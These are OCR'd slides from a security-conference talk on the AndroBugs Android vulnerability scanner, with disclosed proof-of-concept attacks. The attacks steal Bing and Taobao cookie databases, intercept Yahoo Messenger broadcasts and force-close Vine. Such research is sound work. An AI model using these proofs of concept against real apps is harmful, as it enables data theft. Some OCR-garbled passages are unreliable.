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Yu-Cheng Lin (3 x4 =)

e Software Engineer at MediaTek smartphone security team

 M.S. from Information Security Lab of National Tsing Hua University
* Taiwan

e Twitter: @AndroBugs

* Email: androbugs.framework@gmail.com

* Website: http://www.AndroBugs.com

» | am not representing my employer. This research is part of my Master thesis in 2014.

> All the vulnerabilities in these slides have been responsibly disclosed to the developers
several months earlier.
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* Android Security Basic Background
* Introduction to AndroBugs Framework
* AndroBugs Framework: Design Architecture

* Security Vulnerabilities and Vulnerability Vectors Implemented in
AndroBugs Framework

* Massive Analysis with AndroBugs Framework
* Repackaging APK and Hacking with AndroBugs Framework
* Conclusions
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. SRR - adb shell

rootB@generic:/ # 1l —aln ~data-data

* Every app plays in its sandbox with an unique Linux user

H 1= —aln sdata-sdata
a n d g ro u p I d ruxr—x——x 10008 198688 2014-83-04 .android.backupconf irm
H ruxr—x——x 10814 108814 2014—18-85 .android.browser
* If two apps want to share data with each other, they rce—x—x 10015 18815 2014-83-84 android caloulator?
. " . . 7] ruxr—x——x 10816 18816 2014-83-04 .android.calendar
both need to specify the same “android:sharedUserld ruxex—x 18838 10030 2614-93-04 ‘android.canera
. . . . . ruxp—x——x 108817 16817 2014-83-84 -android.certinstaller
in the AndroidManifest.xml and sign with the same
ruxr—x——x 10882 18882 2014-83-04 .android.contacts
Ce rtlflcate . ruxp—x—x 108019 18819 2014-A3-04 .android.customlocale2
ruxpr—x——x 108003 188083 2014-83-04 .android.defcontainer
PY H H H ruxr—x—x 106020 18828 20148384 .android.deskclock
It should not be considered as a security hole in the app | b P14 6004 e roid deo Tomment
-f h h . I h . I | ruxr—x——x 18822 18822 2014-83-04 .android.development_s
if you have physical access to the device (e.g. allow adb |
ruxr—x——x 10884 18884 20148304 .android.dialer
b acC kU p ) . puxp—x——x 18023 108023 2014-83-14 .android.documentsui
ruxpr—x——x 10813 168813 2014-83-04 .android.dreams .basic
ruxpr—x—x 106024 186824 20148384 .android.email
Facebook Android App Yahoo News Android 1-:)::1-—.:——: 15518 18818 2014-83-04 .android.emulator.conn
. ectivity.tes
(uid=10021) App (A normal app, ruxr—x——x 18827 18827 2014-83-84 .android.emulator.gps .
uid=10030) est
ruxpr—x——x 18825 18825 2014-83-84 .android.exchange
ruxr—x——x 108006 108086 2014-83-04 .android.externalstoral
e
ruxr—x——x 10826 18826 2014-83-04 .android.fallback
ruxpr—x——x 106885 180865 2014-83-84 .android.gallery
ruxr—x—x 108847 18847 2015-86—19 .android.gesture.build
-
ruxr—x——x 18028 18028 2814-83-84 .android.htmlviewer
ruxpr—x——x 1088 1808 20148384 .android.inputdevices
ruxr—x—x 106029 18829 2014-A3-A4 .android.inputmethod. 1
tin
ruxpr—x—x 10038 186838 2014-83-84 .android. inputmethod. p
ruxpr—x——x 1088 18688 2014-A3-A4 .android.keychain
ruxpr—x——x 18887 18087 2014-83-84 .android.keyguard
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* Prior to 2014:

»ACM CCS ’12: The most dangerous code in the world: validating SSL
certificates in non-browser software (with POC: Mallodroid)

» DEFCON 19: Seven Ways to Hang Yourself with Google Android
> ...

* But today?

 Problem:

»Not All the Android developers care about security or they just simply forgot
about it

6 RARndenPrine
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cumore 201= - Yulnerability Assessment Tookor Sys

* Apps must be installed first to check for vulnerabilities
v'Drozer or Xposed Framework

* Need source code to analyze
* Paid and expensive

* Cloud-based system
v'Revenue-oriented
v'Takes some time for you to upload, analyze and get the report (at least 5-10 mins)

* Massive analysis is not supported
v'Oh NO! We are pen-testers!

* Complicated installation procedure, needs to install too many 3" party
libraries with some compatible issues

5 ARndenPune



O Introduction t¢
black hat

* A system that helps find valid security vulnerabilities in an Android
App.

* Open source and written in Python.

* A static analysis tool eating Android APK (no source code).

e Scan for “known common coding vulnerabilities”

* Designed for massive analysis and to efficiently finding bugs.

* You can easily extend new features or vulnerability vectors.

3 RARndenPrine
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* Find security vulnerabilities in an app

* Check if the code is missing best practices

* Check dangerous shell commands (e.g. “su”)

* Collect Information from millions of apps

* Check the app’s security protection (for app repackaging hacking)

9 RARndenPrine



AndroBugs Framework Helps You Find Vulnerabilities:

Prokenw Web\ew oovn%s V\/\O—[)‘C_W OP LD_’READA@ LT
Which Packer?
welb\iew SSL
Checkgy Cert Txported components
YeyStore Protection?
Swomature b
‘) vamnpere S Vlnerablity
ContentProvider Traogment Tmplicit Service
Virlneralaility mjection
. Using Certificate Pinminy?
addSavascriptTuterface
WMaster Key
ADB backup < e A?I
aselp4 encodw ensl
Usingy SQLCipher? Paselos encodng

NSANES

Dangerous shell command
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tumblr.

~—

\ Sy
€2 % Microsoft
SONY Alibaba.com

DadOo
o Deco- &

noawe  lencenrt weibo

They all triaged my vulnerability report or list me on their Security Hall of Fame.
Some will be introduced later.

Google
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* The original AndroGuard does not have a security vulnerability
checking feature.

* The AndroBugs Framework is based on AndroGuard and | modified
the core of AndroGuard a lot.

e grep -nFr "#Added by AndroBugs" *

13 RARndenPrine



& General Techniques_fér Finding Bugs iin

black hat
= AndroBugs Framework

Decompile the APK by Androguard

Depends on the implementations of
Finding Potentially Vulnerable Code, Function Calls the vectors
(invoke-xxx) or Fields by AndroBugs Framework

Keypoint: AndroBugs Framework

Go back to the source function who calls the does not try to analyze every line
of the code. It only does this

when it finds something

potential vulnerable function call, analyze related
code again to confirm . :
interesting.

14 AndroBuys



o The Report from Angké ugs
e o Will Give You W

e Vector title

e Source code paths

 Severity level (Log Level)

* Vector Category

* Detail Explanations (tell you the background knowledge of the vulnerability)
* Mitigation recommendations

* Reference research papers or links

15 RARndenPrine



$

EURORPE 2015

black hat Severity Level

Critical Confirmed security vulnerability that should be solved (except for testing code)
Warnin AndroBugs Framework is not sure if this is a security vulnerability. Developers
& need to manually confirm.
. Low priority issue or AndroBugs Framework tries to let you know some
Notice " : :
additional information.
Info No security issue detected.



O Introduction to New Assistan;

black hat : 4 ,
sumore == Engines in AndroBuygs Framewebrk

1. Static DVM Engine
2. Efficient String Search Engine
3. Filtering Engine

17 ARndenPune
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black hat

* The core of AndroBugs Framework.
v'Used by some vulnerability vectors in finding potential security vulnerabilities.

* Just like DVM or ART in Android OS, the Static DVM Engine runs the
Bytecode statically and partially.

v'The Static DVM Engine doesn’t need to run the Android App on an Android
phone but it knows or tries to predict the application’s behavior while it is
running.

v'Static DVM Engine runs the code partially.

18 RARndenPrine
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blackhat Actions for Stat

 Just like Dalvik VM(ART) in Android, the Static DVM Engine maintains a simple register table.

* Compared to the real DVM/ART on Android OS, some useless instructions(opcode) are removed.

opcode Smali bytecode Static DVM action

0x12 <= opcode <= Ox1c [const] or
[const/xx] or
[const-string]

Set immediate value to the
register table

Ox0a <= opcode <= 0x0d [move-result vVAA] or
[move-result-wide vAA] or Clear immediate value from the
[move-result-object vAA] or register table
[move-exception VAA]

0x44 <= opcode <= 0x4a [aget] or
[aget-xxxx] or
[iget] or Clear immediate value from the
[iget-xxxx] or register table
[sget] or
[sget-xxxx]

opcode == 0x6e [invoke-virtual] Add to the invoked method list

* Android Bytecode Reference: https://source.android.com/devices/tech/dalvik/dalvik-bytecode.html



https://source.android.com/devices/tech/dalvik/dalvik-bytecode.html

& - Example: Finding W. R
Sy WRITABLE Viinerabi

Java Code of MODE_WORD_READABLE vulnerability

context.getSharedPreferences("sensitive_file", 1);

Smali Code of MODE_WORD_READABLE vulnerability

const-string v0, "sensitive_file"

const/4 v1, Ox1

invoke-virtual {v2, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;|)Landroid/content/SharedPreferences;
move-result-object vO

1 const-string vO, "sensitive_file" v0=“sensitive_file”
const/4 v1, Ox1 vO="sensitive_file”
2
v1=0x1

invoke-virtual {v2, vO, v1}, Landroid/content/Context;-
3 >getSharedPreferences(Ljava/lang/String;l)Landroid/content/SharedPrefere
nces;

vO=“sensitive_file”
v1=0x1

4  move-result-object vO v1=0x1

Bl Dz



O General Techniques

black hat g
csuroP=E 20 Framework to Fi

Function A
>
context.getSharedPreferences(“sensitive_file", 1);
Function B
>
const-string v3, “xxx" Kevpoint: ":
Function C > vp :
> Find the key
const-string v0, “sensitive_file" function(getSharedPreferences) first,
> then go back to the start of the function
const/4 v1, Ox1
>
invoke-virtual {v2, vO, v1}, Landroid/content/Context;-
>getSharedPreferences}(Ljava/Iang/String;I)Landroid/content/SharedPreferences; ..:
move-result-object vO
>
\ 4

21 RondenPnne
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Scanning decompiled Java code by Regular Expression is pretty slow. AndroBugs Framework tries NOT to do this.

Android APK

Bytecode or Opcode

Why do you need to
analyze Java code if you
can analyze bytecode
(opcode)?

22 AndroBnus

AndroBugs Framework
never analyzes
decompiled Java code
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* Since The Static DVM Engine is not a real DVM/ART in your Android phone.
It does not know, for example, the listing of your root directory:

* But why do you need to know that?
* Only knowing it tries to run the command “Is -al /” is enough.

 Dynamic analysis is good, but it is not a good idea if you want to find
vulnerabilities in a huge number of APKs immediately. It is too tiresome
and time-consuming to install every APK, run it, and maybe manually test it
to reproduce the vulnerability.



?Jéch'é';'gé 2. Efficient String Sec:r

 Why was this Engine designed?
1. Searching strings in code using “regex matching” is quite inefficient and slow.

2. We not only want to find whether the String exists or not, but the Path sources where it is
showing up.

* Hence, | designed a new Efficient String Search Engine that helps search faster.

One Search Request

Effic‘ient M atc h I D
Match ID -

Search

Engine Com plete Stri ng
found

Regex or Keyword
Text

Location or Path



' How does the

blackhat
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* In Android, Strings are referenced by its index position(offset) in string_id_item(]
 The Engine compares the “string_data_off (string index)” in the code

* In Android bytecode(opcode), Strings are defined by instruction: const-string /
const-string-jumbo (opcode=0x1A / Ox1B)

Dex File Layout method_id_item
Name Format Name Format
header header_item class_idx ushort
string_ids string_id_item(] | proto_idx ushort
type_ids type_id_item]] name_idx uint
proto_ids proto_id_item]]
field ids field id_item(] +
method_ids method_id_item]] — . L
string_id_item
class_defs class_def _item(]
Name Format
. .
I vtell I string_data_off uint
link_data ubyte[]
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Why?

* Some AD libraries may never fix their vulnerabilities and they are
used by many applications.

* Some libraries are not vulnerable(false positive) or the impact is
limited. | am not interested in finding them.

* We want to bypass some libraries/packages:
¢ com.parse
e com.facebook
* com.tapjoy

26 RARndenPrine
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* More than eight Android security books

* Previously published papers and research

* Slides from security conferences

* Android Developer Reference Websites

* Previously published security vulnerabilities
* My past research experience

* Some technical blogs and articles

)3 RARndenPrine
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Before Designing A New Vector:
* Research and find related information about the vulnerability

* Make a simple POC app to make sure in which platform (Android ICS, JB, KK or L) |
can reproduce the vulnerability

* Consider all the possible cases
» Example: Which Android SDK APl may use the MODE_WORLD_READABLE mode?

* Decompile the POC app to see the Smali code and think how to add the new
vector into AndroBugs Framework

79 RARndenPrine
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A new vector needs to be tested with at least:
* An App with vulnerable usage

* An App with non-vulnerable usage

To enhance the accuracy:
* Many real apps from Google Play should be tested

* Doing massive analysis to fix the bugs in implementation
of vector



O Vulnerability Vectoedmplementa

black hat oe ]
EURDOPE 2015 and Vulnerabilities DI*§CV€I’€ C

* World Readable & World Writable (microsoft Office & Baidu)
* ContentProvider Vulnerability & Directory Traversal (vicrosoft Bing)

* WebView File Access Vulnerability & Exported Components (alibaba
Taobao)

* SSL Vulnerability (vahoo mail)

* Implicit Broadcast (vahoo Messenger)

* Dynamically Registered Unprotected BroadcastReceiver (twitter vine)
* Allow Debuggable (alibaba Taobao Wireless Charge)

All the vulnerabilities were found by Yu-Cheng Lin and have been responsibly disclosed to developers at least several months earlier.

31 RARndenPrine
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Get the APK and analyze it with AndroBugs Framework
Get the report from the system

If it reports potential security vulnerability, manually decompile the
app (e.g. jadx, apktool), do dynamic analysis, and verify if it is a valid

vulnerability.

Try to make a POC app to reproduce the vulnerability
Install the POC app and dynamically verify the vulnerability




World Readabte &
WI‘IT ble
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%

From Google’s Android developer website: Creating world-readable
files is very dangerous, and likely to cause security holes in applications.
It is strongly discouraged; instead, applications should use ...

o SSET=T - adb shell - o

app_ 57 2014-12-86 15:47 cache

system 2014-12-86 15:47 1lih
app_57 26 2014-12-86 15:47 vul_file.txt
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1. First, find all the code that calls (or may use dangerous “mode”):
» openOrCreateDatabase
» getDir
» getSharedPreferences
» openFileOutput

2. On finding the function calls, put it into the Static DVM Engine to check the
“mode” (introduced earlier). Report the one with the vulnerable “mode”:

MODE_WORLD_READABLE 1
MODE_WORLD_WRITEABLE 2
MODE_WORLD_READABLE + MODE_WORLD_WRITEABLE 3
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* Baidu has a push message library that stores the push message Access Token in
MODE_WORLD READABLE

* Many Baidu Android Apps use the vulnerable Baidu push message library

Baidu
Books

Bai
Baidu didulRush) Baidu

News M.essage Maps
library

Baidu
Music



O Vulnerability in Arfdroid NDK;
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(version: 15.0.2%X20.2000)

When you download files from OneDrive on your ICS phone, you are actually leaking those files to attackers.
@ O X 20 % & 35| @O S 2 B %i1® 3:59em = B %@ 3:55pm <= Android 4.0.X

officehub files Microsoft Office Mobile SPMData @ 1000 https d.docs.live.net d108699190dd2c68 mm

q - » Too permissive

.I;arentfolder Parent folder ..
File Store {b7b67eff-3235-4448-8¢c13-Tac4 » Should explicitly set

e por 10,204 12120 ¢10b5408}.docx “umask(007);” first
SPSQLStore.sdf 11.38KE rw-rw-rw- Apr 10, 2014 01:32:26 AM
68,00KE | rw-r--r-- Apr 10, 2014 03:58:09 AM {chddab4—

fra4-7247-8ece-9a7f58dde46b... .

8.11KB rw-rw---- Apr 10, 2014 03:58:05 AM Hello World! >= AndrOId 4.1.X

{d074c874-7aa0-b542- . . .
ade5-1b1756a1391b}.pptx » Security is improved

30.62KE rw-rw-rw- Apr 10, 2014 01:32:12 AM

1/1

Tap to add notes

 Dynamic analysis is
necessary to verify this
vulnerability

! » Ny ¢ ! - .
ﬁ v ﬁ v

Home Up Multi-Sel Jump v View a Home Up Multi-Sel
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e ContentProvider usually:
1. Directly connects to the SQLite DB in app
2. Provides file access in the app’s private data store

* Android developers sometimes forget to set the default exported settings for
ContentProvider =2 This may allow other apps to access sensitive data directly

* AndroBugs Framework highlights the ContentProvider vulnerability.

android:targetSdkVersion >= 17 APl Level >= 17 false

[ android:targetSdkVersion >= 17 API Level < 17 true ]
android:targetSdkVersion < 17 APl Level >= 17 true
android:targetSdkVersion < 17 API Level < 17 true



blgc’:k hat Attack Vector
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ContentProvider
allows other
apps to access Vulnerable
sensitive data
from SQLite DB

Exported
ContentProvider

ContentProvider
opens for file
reading but does Vulnerable
not check input
file

Exported
ContentProvider

AndroBunas



] AndroidManifestoal 3¢ ‘ M‘ f
|-:‘?me version="1.0" encoding="utf-8" 7> "‘; IC roso 1-

1 [<manifest xmins:"http:/fschemas.android.com/apk/res/android” android:versionCode="20140428" android:versionName="5.0.1.20140428" package="com.microsoft.bing">

5  <uses-sdk anl:lrcil:l:minSdeersicn="B'[andr-::il:l:targetSdeersicn="19"]: '{ 0' A O
10 <uses-permission android:name="android.permission.INTERNET" /> f'/ B lm g n d ro I d
1 <uses-permission android:name="andreid.permission.WRITE_EXTERNAL_STORAGE" /> &

12 | <uses-permission android:name="android.permission.READ_PHONE_STATE" /> ion: 5.0. ] .20 ] 40428
13| <uses-permission android:name="android.permission.ACCESS NETWORK_STATE" /> P :
14 | <=uses-permission android:name="android.permission.ACCESS COARSE LOCATION" />

15| <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> N

16 <uses-permission android:name="android.permission.CALL_PHONE" /> AffectEd dEVlCES:
17 | <uses-permission android:name="android.permission.RECORD_AUDIO" />

18 | <=uses-permission android:name="android.permission.SET WALLPAPER" />

19 | <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" /> g An d roli d 2 ,X
21 <uses-feature android:name="android.hardware.telephony" android:required="false" />
24 <uses-feature android:name="android.hardware.camera" android:required="false" /> .

* Android 3.X

27 <uses-feature andreoid:name="android.hardware.camera.front" andreid:required="false" />
31 <application android:theme="@style/Theme.Aria" andreid:label="@h/search_menu_hing" android:icon="@d/search_ic_launcher" android:name="com.microsoft.clients.bin

a7 <receiver android:name="com.microsoft.clients.bing.widget.BingWidgetProvider"> ° An d ro i d 4 . O -X
a8 <intent-filter>

39 <action android:name="android.appwidget.action.APPWIDGET_UPDATE" /> .

40 <lintent-filter> e Android 4.1.X
42 <meta-data andreid:name="android.appwidget.provider" android:resource="@i/search_widget_info" />

45 </receiver>

47 <meta-data andreid:name="com.facebook.sdi.Applicationld" android:value="@h/facebook a jd" />

51 <provider android:name="com.microsoft.clients.core.CachedFileProvider" android:authorities="com.microsoft.bing.provider" android:grantUriPermissions="true" /> l

— G —ATo T — o BT Bom o o BN o T — — A _BD— ko BT mn — oo MM A Tk NG o BT B — KT M — o o o ——BER A — ==y T

public boolean onCreate()

{
b = new UriMatcher(-1);
b.addURl(a, "*", 1);
return true;

1

public ParcelFileDescriptor openFile(Uri uri, String s)
switch(b.match(uri))

{
default:
throw new FileNotFoundException({new StringBuilder()).append("Unsupported uri: ").append(uri.toString()).toString());

case 1: /001"

return ParcelFileDescriptor.open(new File((new StringBuilder()).append(getContext(fgetCacheDir())\append(File_separator). append(uri getLastPathSegment()) toString()), 0x10000000);
1

}

public static String a = "com.microsoft.bing.provider";

private UriMatcher b; nnﬂ'nnll"e
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e The ContentProvider String uri = "content://com.microsoft.bing.provider/..%2Fdatabases%2FwebviewCookiesChromium.db";
does not check if the Log.i("AndroBugs", "Request stealing Uri: " + uri);

InputStream is = context.getContentResolver().openinputStream(Uri.parse(uri));

inpUt uri is valid. copy(is, os_dst_file_name);

* “File” is vulnerabl
e. s vulnerable new File(“/data/data/com.microsoft.bing/databases%2FwebviewCookiesChromium.db”)
to directory traversal. *

new File(“/data/data/com.microsoft.bing/cache/..%2Fdatabases%2FwebviewCookiesChromium.db”)

public boolean onCreate()

b = new UriMatcher(-1});
b.addURI(a, "™, 1);
return true;

}
public ParcelFileDescriptor openFile(Uri uri, String s)
switch(b.match(uri))

{
default:
throw new FileNotFoundException({new StringBuilder(}).append("Unsupported uri: ").append(uri to@tring()).toString());
case 1:./1001°
return ParcelFileDescriptor.open(new File{(new StringBuilder()).append({getContext().getCacheDir()). append(File separator).append(uri.getLastPathSegment()).toString()), 0x10000000);
}

}

public static String a = "com.microsoft bing.provider”;
private UriMatcher b;
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CachedFileProvider.jad -

|
File Edit Search View Settings Language Tools Help
DHS| B x| a|r|EE vz ZlBru|Ez==Ed9 vE
+ - - - - - - - - - - - - - - : - - : - - : - - : - - - - - - - - -
A
public ParcelFileDescriptor openFile(Uri uri, String s) [®)
switch(b.match(uri))
{ 2
default:
throw new FileNotFoundException{{new StringBuilder()).append("Unsupported uri: ").append(uri toString()).toString()); S
case 1. /1001 @
return ParcelFileDescriptor.open(new File((new StringBuilder()).append(getContext().getCacheDir()).append(File separator).append(uri_getLastPathSegment()).toString()), 0x10000000); %
H
}
public Cursor query(Uri uri, String as[], String s, String as1[], String s1] CachedFileProvider.class - = =
return null; File Edit Navigation Search Help
) | = 5|
public int update(Uri uri, ContentValues contentvalues, String s, String classes-dexiar jor 32
| o Thi i
) relm e A || CachedFileProvider.chass 2
public static String a = "com.microsoft bing provider”; public ParcelfileDescriptor openFile(Uri paramUri, String paramString) exeCUtEd. It IS nOt correct! ~
private UriMatcher b; = {
switch (this.b.match(paramUri))
} - {
e default:
;iﬁgameﬁkpmwmﬂu} throw new FileNotFoundException(“"Unsupported uri: * + paramUri.toString());
public int delete(Uri uri, Slriqgff, Sting as[]) {} H
freturn ParcelFileDescriptor.openinew File(getContext().getCacheDir() + File.separator + paramUri.getlLastPathSegment()), 268435456); |
Line: 1 Col: 1 Num lock: ON  Caps lock: OFF  Insert: OFF 64 H

public Cursor query(Uri paramUri, String[] paramArray0fStringl, String paramStringl, String[] paramArray0fString2, String paramString2)
8 {
return null;

¥

public int update(Uri paramUri, ContentValues paramContentValues, String paramString, String[] paramArray0OfString) o




O WebView File Ac
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EuUEDDE =20i= & Expor‘l'ed &
e Attack Vector

Exported WebView: I

Component Allow File Vulnerable

(Activity) Access I

* WebView allows developers to embed a web browser into an application.

* |f "setAllowFileAccess” in WebSettings is set to true or not set(true by
default), it will allow other applications to read its internal files or
databases with crafted url ""/data/data/[package name]".

42 AndrnBRunnec



<activity
n android:theme="@style/Theme . NoBackgroundAndTitle"

black hat android:name="gom.Ltachao-tag.reminder . ReminderBrowserfotivity"
g android: launchMode="=ingleTask"
ELIHOIPE 20015 android:screendrientation="portrait"

android:configChanges="keyboardHidden|orientation"

android:allowTaskReparenting="true"

. android:windowSoftInputMode="stateHidden|adjustResize">

Exported Component: <intent—£ilters

l\ et <action android:name="gom.Ltachas.Lag.Reminderfotivity" />
ctivity id:name="gen. sankae- _

<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
<factivity>

protected void onCreate(Bundle bundle)

{
if(getintent() 1= null && getintent().getAction() 1= null && getintent().getAction().equals("com.tacbac tao. ReminderActivity"))

String s = getintent().getStringExtra("myBrowserUrl");
if(s == null)

S = IIII;
if(s.contains("/go/ibcalendar"))

Taolog.Logd("ReminderBrowserActivity", "go to TBCalendar"),
if(PanelManager.getinstance().getCurrentPanel() == null)

mHandle = new SafeHandler(this);

WebView:

Allow File Access message vt 10,
message.ob| = 5;

Vulnerability }

mHandle sendMessage(message);
}else

doTrack(s);

}
}

super.onCreate(bundle);
} 43
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Result:

Intent intent = new
Intent("com.taobao.tao.ReminderActivity");
intent.setClassName("com.taobao.taobao",
"com.taobao.tao.reminder.ReminderBrowserActivity");
intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
intent.putExtra("myBrowserUrl",
"file:///data/data/com.taobao.taobao/databases/webviewCo
okiesChromium.db");

startActivity(intent);

s IO o - WoN
' SQLite Editor

FILES BOOK MARKS RECENT

- | —
Navigate to a folder containing the database file you wish
to edit and then click on the file. Only valid database files
are listed

Path: /data/data/com.taobao.taobao/databases

' CachedGeoposition.db

30 Apr 14 19:01:00 rw-rw---- Size: 3072

location.db
04 May 14 09:37:00 rw-rw---- Size: 5120

message_db

03 May 14 17:26:00 rw-rw---- Size: 7168

push_webview.db
04 May 14 09:16:00 rw-rw---- Size: 12288

Size: 20480

utremote_webview.db
04 May 14 09:36:00 rw-rw---- Size: 12288

webview.db
04 May 14 09:38:00 rw-rw---- Size: 12288

webviewCookiesChromium.db
04 May 14 09:37:00 rw-rw---- Size: 16384

webviewCookiesChromiumPrivate.db
30 Apr 14 15:06:00 rw-rw---- Size: 7168

tsic.db
30 Apr 14 18:06:00 rw-rw----

s IOl - N

X % M %15 9:51 am

{ TaoBao Q

SQLite format 3@ CC-a
iAl0O=AR%sindexcookie_timescookiesCREATE
INDEX cookie_times ON cookies (creation_utc)
#,.tablecookiescookiesCREATE TABLE cookies
(creation_utc INTEGER NOT NULL UNIQUE
PRIMARY KEY,host_key TEXT NOT NULL,name
TEXT NOT NULL,value TEXT NOT NULL,path
TEXT NOT NULL,expires_utc INTEGER NOT
NULL,secure INTEGER NOT NULL,httponly
INTEGER NOT NULL,last_access_utc INTEGER
NOT



O Implementation ¢

e AndroBugs

How can | check this vulnerability?

1. Find function calls to package name:
"Landroid/webkit/WebSettings;" = Store all the function calls

2. Check which source class and method names does not include
function calls to "setAllowFileAccess(Z)V" =2 Vulnerable

3. If the WebView sets "setAllowFileAccess(Boolean)" =» Put it into the
Static DVM Engine and report those that allow file access which are

vulnherable
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 AndroBugs Framework reports (showed as “SSL_Security” category):

v'SSL implementation issues in Java code
v'"WebView SSL vulnerability

SSL Ulisliading Man-In-The- I
Sensitive Vulnerable

Vulnerability Data Middle ]

* Tools that help you with verify valid SSL vulnerabilities:
v'Fiddler
v'Burp Suite
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(100M+ downloadst Version: 4.0.4

* Mail Settings = My Mail Account =» Sync Yahoo Contacts
» The SSL certificate validation is not checked.

 Leaks all the contacts and Access Token to MITM attackers =2 Gets Access Token that
leads Yahoo Mail’s account to be compromised

YAHOO!

Not vulnerae here

Forgot password or ID?

Not Vulnerable

Create Account
o - —!

a A & A

< @yahoo.com.tw

=8B K1819

NOTIFICATION SETTINGS

Choose Sound

Use Vibrate 4

Show in Status Bar 4

Background Data Settings

If disabled, the app will only send and receive
messages and notifications when in view.

OTHER SETTINGS

Sync Yahoo Contacts
Syncs contacts with device's address book

Use signatur,

s Vtilnerable ©
sfaow, MITM)

s S i I s

# Result  Protocol Host
ta 7 HTTE T =
L o L
2 o e e
11 207  HTTPS carddav.address, yahoo.com
12 207  HTTPS carddav.address, yahoo.com
13 207  HTTPS carddav.address. yahoo.com
14 207  HTTPS carddav.address, yahoo.com
17 207  HTTPS carddav.address. yahoo.com
13 207  HTTPS carddav.address, yahoo.com
15 207  HTTPS carddav.address, yahoo.com
20 207  HTTPS carddav.address. yahoo.com
T TR —-—yr _— - o
~W,-- -_- o o
-LW.- e = o N

REPORT https://carddav.address.vahoo.com/dav/

URL

/

Jprindipals fusersfi f
Jdaw {

fdav {Contacts/
Jdaw {Contacts/
Jdav {Contacts/
jdav) {Contacts/
Jdaw {Contacts/

/Contacts/ HTTP/1.1

User-aAgent: YahooCardDAvSyncaAdapter,/1.0 (Android SyncAdapter; 4.0.4) (acer_556; Acer; 556; 4.4.4/KTUS4P)

Content-Type: text/xml
Content-Length: 13008

Host: carddav.address.yahoo.com
Connection: Keep-Alive

Cookie: T=z=FKPEWET7O1GWI
accept-Encoding: gzip

<7xml version="1.0" encoding="UTF-8" 7x«<x0:addressbook-multiget xmlns:x0="urn:ietf:params:xml:ns: carddav" xr
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Yahoo Mail The

Sync contacts

Adding Yahoo contacts to your

device's address book is It will popup and aSk If you

recommended for a richer

experience. want to ”SVI’]C contacts” ...

[+ Enable Sync

You can manage this setting under Options. Sync
will be complete in a few moments.

Continue

Very User-Friendly ...
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Attack Vector:

Send
broadcast

without
permission or
implicitly

Implicit B

The
broadcast

contains
sensitive data

49

Vulnerable

Implicit Intent

Intent
Sender
(Application A)

Intent Receiver
(Application A)

Intent Receiver
(Application B)

Intent Receiver
(Application C)

Explicit Intent

Intent
Sender
(Application A)

Intent Receiver
(Application A)

Intent Receiver
(Application B)

Intent Receiver
(Application C)

AndvoRnne
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Class: com.yahoo.messenger.android.util.NotificationHandler

public static void showMessageAlert(Context context, long |, long 11, String s, String 51, String s2)
{

if(!Preferences.getlsinForeground())

{

Intent Action for this broadcast

Intent intent = new Intent{"com.yahoo android_notification star");

INtentp )

intent putExtra(

intent putExtra("com. yahoo. android notification extra intent”, "android.intent action VIEW");
(

intent putExtra("com. yahoo. android_notification extra_intent multi”, "com.yahoo android messenger messages");
intent putExtra("com. yahoo. android notification extra intent data”, (new StringBuilder()). append(IM_TO_URI) append(1).toString());
SoundManager vibrate(250L, 300L);
SoundManager playSound({SoundManager. SoundEvent ReceiveMessageAnyOtherTime);
String 53 = YmlUtils .converiToSpans(s2).toString();
if(s 1= null)
{
intent putExtra("com yahoo android notification extra title", s1); ey .
intent putExtra("com.yahoo.android. notification extra text”, s3): I PUt the sensitive message In Bundle
Inti= - 51 length);
StringBuilder stringbuilder = (new StringBuilder()).append(s1).append(" ");
if(s3.length() = 1)
53 = s3.substring(0, i);
intent putExtra("com.yahoo.android.nofification.extra_ticker”, stringbuilder. append(s3).toString());

I

Bundle bundle = new Bundle(2);

bundle putLong("buddyld", 11);

bundle putString("callingActivity”, " GlobalNofitications__");

' i, / ' ' i sdra.intent.extras”, bundle);

context sendOrderedBroadcast(intert, nul), __}Sending broadcast without receiver permission

Yahoo Messenger is using this Notification to notify the user on receiving new message.
50 RARndenPrine



<receiver

android:name=".SniffBroadcastReceiver" A malicious app with the highest priority to
android:exported="true" receive the Yahoo Messenger’s broadcast.
android:label="SniffBroadcastReceiver" >
<intent-filter android:priority="999">

<action android:name="com.yahoo.android.notification.start" />

</intent-filter>
</receiver>

public class SniffBroadcastReceiver extends BroadcastReceiver {

@Override

public void onReceive(Context context, Intent intent) {
if ("com.yahoo.android.notification.start".equals(intent.getAction())) {
Bundle bundle = intent.getExtras();
if (bundle == null) return;
Log.i("AndroBugs", "Title=" + bundle.getString("com.yahoo.android.notification.extra.title", "[empty]"));

’

’

Log.i("AndroBugs", "Text=" + bundle.getString("com.yahoo.android.notification.extra.text", "[empty]"));

Log.i("AndroBugs", "Ticker=" + bundle.getString("com.yahoo.android.notification.extra.ticker", "[empty]"));

’

S ETREIC - adb shell

hellPFacer_856:+ % logcat | grep AndroBugs

I AndroBug=<31531>:
I/AndroBugs<31531>:
I/AndroBugs<31531>:
I/AndroBugs<31531>:
I/AndroBug=s<31531>:
I/AndroBug=s<31531>:

Title=androbugs
Text=Hey
Ticker=androbugs: Hey
Title=androbugs

Text=Y¥our message iz leaking haha
Ticker=androbugs: Your message is leaking haha

| :
sy | g = A
e r 0

- SIM qu‘,iék Clean Master

O _

J -k

Google Gallery :’ i Acer “Play Store

I



Dynamically_Kk
blgc’zkhat Y 7

sumore20s  Unprotected Bro

Android developers sometimes forget to protect dynamically registered
BroadcastReceiver. They only notice the security protection of statically
registered BroadcastReceiver in AndroidManifest.xml

é D

Send broadcast to

change its original
behavior

€ 4

Keypoint: The dynamically registered BroadcastReceiver must do some
sensitive things after recelving the broadcast.




blgc’:khat Twitter Vine An roid (v

ELEOEE =E
50M+ dowhloads

* |t registers a BroadcastReceiver in its base Activity. On receiving the

“co.vine.android.FINISH” broadcast, it will terminate the app (Normally, you

cannot force to terminate another app without system privilege).

e Result: Users cannot always use the Vine App if the "co.vine.android.FINISH"

broadcasts repeatedly.

// Class: co.vine.android.BaseActionBarActivity

private final BroadcastReceiver mFinishReceiver = new BroadcastReceiver() Vulnerable Code
{ public void onReceive(Context paramAnonymousContext, Intent paramAnonymouslintent)
if ((paramAnonymouslintent != null) && ("co.vine.android.FINISH".equals(paramAnonymousintent.getAction())))
BaseActionBarActivity.this.finish();
Iy }

public void onCreate(Bundle paramBundle, int paramint, boolean paramBooleanl, boolean paramBoolean2)

{

